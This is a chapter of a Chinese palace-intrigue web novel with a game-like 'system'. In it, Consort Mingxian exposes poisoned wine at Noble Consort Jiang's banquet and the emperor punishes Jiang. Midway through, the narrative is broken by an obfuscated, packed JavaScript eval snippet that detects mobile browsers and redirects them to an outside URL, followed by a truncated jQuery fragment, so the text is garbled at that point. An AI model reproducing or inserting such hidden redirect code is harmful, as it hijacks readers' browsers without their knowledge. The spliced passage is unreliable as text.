再次踏入昭阳宫时,明羡已一扫先前的无措。
她神色自若地推开殿门,语气极为冷静但也迅速地朝殿外侍立在侧的宫女嘱咐道:“快,还是给我准备一身简单日常的衣服赴宴,然后……”
交代的话刚说完,宫女只觉心头一紧,忙不迭伏身叩首:“奴、奴婢人微言轻,小主吩咐之事恐难办到,还请小主恕罪!”
明羡伸手将她扶起,安慰地在她肩上轻拍两下,唇角掠过一丝胜券在握似的笑意:“哎呀别紧张,你就告诉他,等会儿有人要把玉华殿搅个天翻地覆,让他赶紧过来主持公道。”
小宫女见她一脸淡定,只好咬唇点了点头,应声照办:“是,奴婢这就去办!”
“等等。”明羡忽然出声叫住那名小宫女,问道:“你叫什么名字?”
小宫女闻声止步,垂首欠身:“回小主,奴婢名唤朝露。”
明羡轻轻颔首:“好,我知道了。”
朝露匆匆敛衽一礼便转身疾步而出,裙裾曳过门槛,很快消失在宫道转角处。
明羡在目送那抹身影远去后,才缓缓转身朝着玉华殿的方向不疾不徐走去。
“等着吧,好戏就要登场了。”
……
晚风拂过宫墙,带着初秋的凉意,廊下的宫灯在夜色中晕开一圈圈昏黄的光。
玉华殿的灯火已经近在眼前。
殿门前,卢月和上次那般朝明羡走近,再次提醒她今夜行事万分小心。
明羡一笑:“我知道。”
顺利走完这段流程后,卢月刚准备离开,就被人拉住了手腕。
系统的提示音传来:「检测到该对象对玩家好感度为1%。」
明羡尴尬地挠了挠头,“还真是难为她了。”
见她牵扯着自己,卢月神色并未不悦,只是柔和的眼眸露出疑惑:“明嫔可是有话要说?”
“是这样的......既然淑妃都向我抛出橄榄枝了,那等会儿可能需要她帮我个忙。”明羡朝她眨了眨眼。
卢月沉吟片刻,问:“如何助你?”
明羡一挑眉,语气高深莫测道:“等会儿就知道了。”
说完她便径直走向自己的席位,伸手轻轻握住那盏琉璃杯。
李玉依然坐在对面席位上,手中团扇轻摇,眼中闪过一丝不明的意味。
见明羡并未有饮酒的动作,便霍然起身,疾言厉色道:“大胆明嫔!你可知罪?!”
众人被这声突如其来的问罪吸引住了目光。
李玉正欲上前细数其罪状,却被另一道声音强硬打断。
“且慢!”
明羡疾步至宴席中央,将手中的琉璃杯举高,高声道:“贵妃娘娘,臣妾的酒中被人下了毒,恐怕是有人想借娘娘的赏花宴毒害臣妾,嫁祸于娘娘!”
话音一落,满殿惊哗。
“荒唐!明嫔,你可知你在说什么?”李玉自席位上猛地站起,厉声道:“宴席所用酒水膳食皆由娘娘亲自把关,怎会有毒?明嫔,你莫不是疯了,在此胡言乱语?”
主位上,姜如宜的脸色变了又变,她握紧扶手,指尖微微发白:“明嫔,你莫要危言耸听,本宫的玉华殿守卫森严,怎会让人有机可乘?”
“正因为是玉华殿才更容易得手!”
她上前一步,声音清亮:“今日毒杀臣妾,或者是在座的各位嫁祸给贵妃,明天有可能被毒杀是贵妃娘娘你本人。我们这种小角色死了就死了,如果是贵妃娘娘的话,到时候宫中大乱,后果可是不堪设想。”
席间气氛骤然紧绷。
妃嫔们面面相觑,神色惊疑不定。
若真有人能在玉华殿的酒水中下毒,那今日能毒明嫔,明日说不定就轮到她们自己了!
“够了!”姜如宜胸口剧烈起伏,眼中寒意更甚,“明嫔,你口口声声说酒中有毒,可有证据?若无证据,便是妖言惑众、扰乱宫闱,本宫现在就可治你的罪!”
明羡勾唇淡笑:“贵妃娘娘既这么肯定地说它无毒,那便请太医当场验验看呢?如果验出无毒,臣妾甘愿领受任何责罚。但如果确实有毒……”
她没有说下去,但意思已经再明白不过。
姜如宜却沉默了,甚至下颌的线条几不可察地紧绷了一瞬。
这也意味着她不想查。
明羡似乎也料到这种情况,反而从容不迫地拢袖而立,也不催,就等着,大有“看谁耗得过谁”的架势。
僵持之间,就在此时,一道漫不经心的女声自左首席位响起:
“姜贵妃,验一验又何妨?”
众人循声望去,只见淑妃宠音一脸玩味地正斜倚在案边,手中把玩着那盏和明羡同样式的琉璃杯。
“淑妃?”姜如宜回过神,表情不太好看,“你也信这无稽之谈?”
“本宫可不信什么无稽之谈。”宠音坐直身子,目光落在明羡手中的杯子上。
明羡也注意到了宠音的视线,向她小幅度地挥了挥手打个招呼。
宠音收回目光,不紧不慢道:“本宫只信清者自清。既然明嫔提出疑虑,贵妃何不当众验明,也好让六宫妃嫔安心?否则今日之事传出去,倒显得贵妃心虚了。”
她说得大义凛然,却字字戳中要害。
姜如宜脸色铁青。
她当然不能验,因为这毒就是她下的。
“明嫔这分明是存心寻衅。”李玉抢先一步开口,目光与姜如宜飞快地一碰,“搅扰娘娘的赏花宴,你到底意欲何为?”
“我挑衅?”明羡眉梢一挑,不怒反笑:“你们不敢验就说我挑衅吗?是因为你和贵妃知道这宫中确实有人要害我,但选择包庇。还是因为这毒就是你——”
她手腕一转,那纤细的食指便如利刃般稳稳对向姜如宜:“又或者是贵妃下的呢?有可能还是你俩一起给我下的。”
“放肆!你信口雌黄,竟敢胡乱攀扯贵妃!”李玉声音骤然拔高。
明羡面上那点残余的笑意尽数敛去,语气陡然转厉:“放什么肆?你们还不明白么,如果不查,他日有人用同样的手段毒害六宫妃嫔,甚至将毒手伸向陛下怎么办?如果宫中有心怀不轨的妃子与前朝官员勾结想借毒杀之事掀起风浪,动摇国本,这样的后果,你和贵妃担得起吗?”
众人皆骇然失色。
毒杀妃嫔尚可论作后宫纷争,可一旦牵涉天子与前朝,那便是倾覆江山的大祸!
事态被明羡推到这个高度,早已不是验毒这么简单,如果不彻底追究彻查出凶手,前朝后宫皆会人心惶惶,动荡不安。
她就不信这个邪了,这样的罪名姜如宜还能推辞不追查。
“明嫔,你、你大不敬!”姜如宜彻底失了方寸,“给本宫堵住她的嘴,拖出去,现在就打,打死勿论!”
两名粗使宫女应声上前,伸手就要去抓明羡。
宠音脸色一变,正要起身阻拦。
“陛下驾到——!”
殿外忽然传来内侍尖细嘹亮的通传声。
这一声如同惊雷贯耳,满殿妃嫔皆起身离席,慌忙整理衣饰。
姜如宜脸上更是霎时没了血色,震惊中差点打翻案上酒盏。
而一旁的明羡嘴角却微微上扬。
救兵终于来了。
殿门处,一道颀长的身影缓步而入。
来人面容清俊,眉宇间凝着几分书卷般的儒雅气度,但身姿却挺拔如松,尤其是通身那股不怒而威的帝王气派,还未言语便已昭显着九五至尊的威严。
这便是当朝天子,萧勉。
“参见陛下。”满殿妃嫔当即垂首敛襟,齐齐福身行礼。裙裾拂地的窸窣声里带着压抑不住的惊讶与惶恐。
“还得是皇帝的名号,太权威了。”明羡心中感叹。
萧勉摆了摆手,目光在殿内扫过,最后落在仍站在宴席中央的明羡身上。
“都平身吧。”他语气温润平和,听不出情绪,“朕听闻有人要将玉华殿搅个天翻地覆便过来瞧瞧。这是在做什么?”
姜如宜赶忙上前,勉强笑道:“回陛下,不过是些姐妹间的玩笑话,扰了陛下清静,是臣妾的过错。”
“玩笑话?”萧勉挑眉。
“回陛下,正……”
“当然不是。臣妾怀疑宴席上有人在给臣妾的酒中下毒,想嫁祸给贵妃,正恳请贵妃娘娘准允查验。”明羡立马出声截胡,语气无奈道:“但贵妃娘娘一再推辞,还要打臣妾板子。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096847|195652||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“哦?”萧勉眼波微转,落向一侧的姜如宜,“贵妃为何不查?”
姜如宜呼吸紧涩,佯装镇定:“臣妾、臣妾觉得明嫔是无端生事,想搅乱宴席……”
“是否生事,验了便知。”萧勉语气平静,随即转向身后对太监吩咐道:“传太医。”
“陛下!”姜如宜还想说什么,却被萧勉一个眼神止住。
那眼神依旧温和,却让姜如宜遍体生寒,再不敢多言一句。
不多时,太医院当值的太医匆匆赶来。
在萧勉的示意下,他取过明羡手中的琉璃杯,以银针试毒。
银针入酒的瞬间,针尖便以肉眼可见的速度变黑。
太医脸色大变,跪地颤声道:“陛下,此酒中确有剧毒,若饮下,不出半刻便会七窍流血而亡。”
此言一出,妃嫔们面如菜色地看向自己案前的酒杯,有些胆小的已经失手打翻了杯盏。
李玉更是万念俱灰地瘫坐在席位上,手中团扇也跌落在地。
败局已定。
姜如宜浑身发抖,扑通一声跪倒在地:“陛下明鉴!臣妾对此事毫不知情,玉华殿的酒水膳食皆经重重查验,臣妾也不知为何会……”
“贵妃。”萧勉打断她,声音依旧平静,却带着不容置疑的威严,“赏花宴是你所设,如今在宴席酒水中查出剧毒,你一句不知情,便能推卸所有责任?”
姜如宜哑口无言。
萧勉不再看她,蓦地转向明羡:“你如何得知酒中有毒?”
明羡迎上他的目光,坦然一笑:“臣妾不知。”
“不知?”萧勉挑眉。
“是。”明羡不慌不忙地解释道:“臣妾只是想起前些日子,曾无意听到两个宫人窃窃私语,说什么‘玉华殿的酒是好酒,喝了便能长睡不醒’,当时以为是玩笑。但今夜臣妾觉得这宴席气氛诡异,越想越不对劲,这才提出验毒。”
她说得半真半假,前几句是胡诌,后几句却是事实。
萧勉静静看着她,那双深邃的眼眸仿佛能洞穿人心。
良久,他忽然笑了:“你倒是机警,也不怕欺君。”
一听欺君的帽子要扣她头上,明羡也不说话,就装傻充愣地笑。
“贵妃姜氏,御下不严,失察之责难辞其咎。”萧勉收回目光,语气轻描淡写:“即日起,禁足景和宫三月,闭门思过。协理六宫之权,暂交淑妃代掌。”
姜如宜如遭雷击般瘫软在地,却不敢求饶半句。
萧勉又看向席间众妃:“今日之事,朕会令内务府彻查。在此之前,望诸位安分守己,莫要再生事端。”
妃嫔们纷纷垂首称是,无人敢抬头。
「玩家支线任务“夜宴风波”已通关。
新手期进度:30%
获得奖励:病容丹x1」
耳边的机械音甫一消散,明羡抑制不住地握拳“yes!”了一声。
听到这番动静,萧勉的视线再次落在她身上。
明羡立马乖巧地做了个噤声的动作。
“行了,宴席到此为止,都散了吧。”最后意味深长地看了一眼明羡,才转身离去。
明黄身影消失在殿门外许久,殿内依旧鸦雀无声。
直到内侍高声宣布“起驾回宫”,众人才如梦初醒,纷纷起身离席。
经过明羡身边时,那些目光已不再是嘲讽或幸灾乐祸,而是掺杂着恐惧、忌惮,以及一丝难以言喻的复杂。
另一处,姜如宜收起狼狈的模样,也走到明羡面前,神情阴毒地朝她一笑,狠声道:“别以为这就结束了,咱们来日方长。”
明羡站在原地,忽然朝她做了个鬼脸:“略略略。”
姜如宜:“......”
......
“明嫔。”一道女声在身侧响起。
明羡收起嘲讽的表情转头,见宠音正含笑望着她。
“淑妃娘娘?”明羡不解,“你找我有事?”
“陪本宫走走吧。”她说着,转身朝殿外走去,并没有给明羡拒绝的机会。
夜色渐深,宫道上也只剩下零星几盏宫灯还亮着。
但她和宠音确实有些话得聊聊了。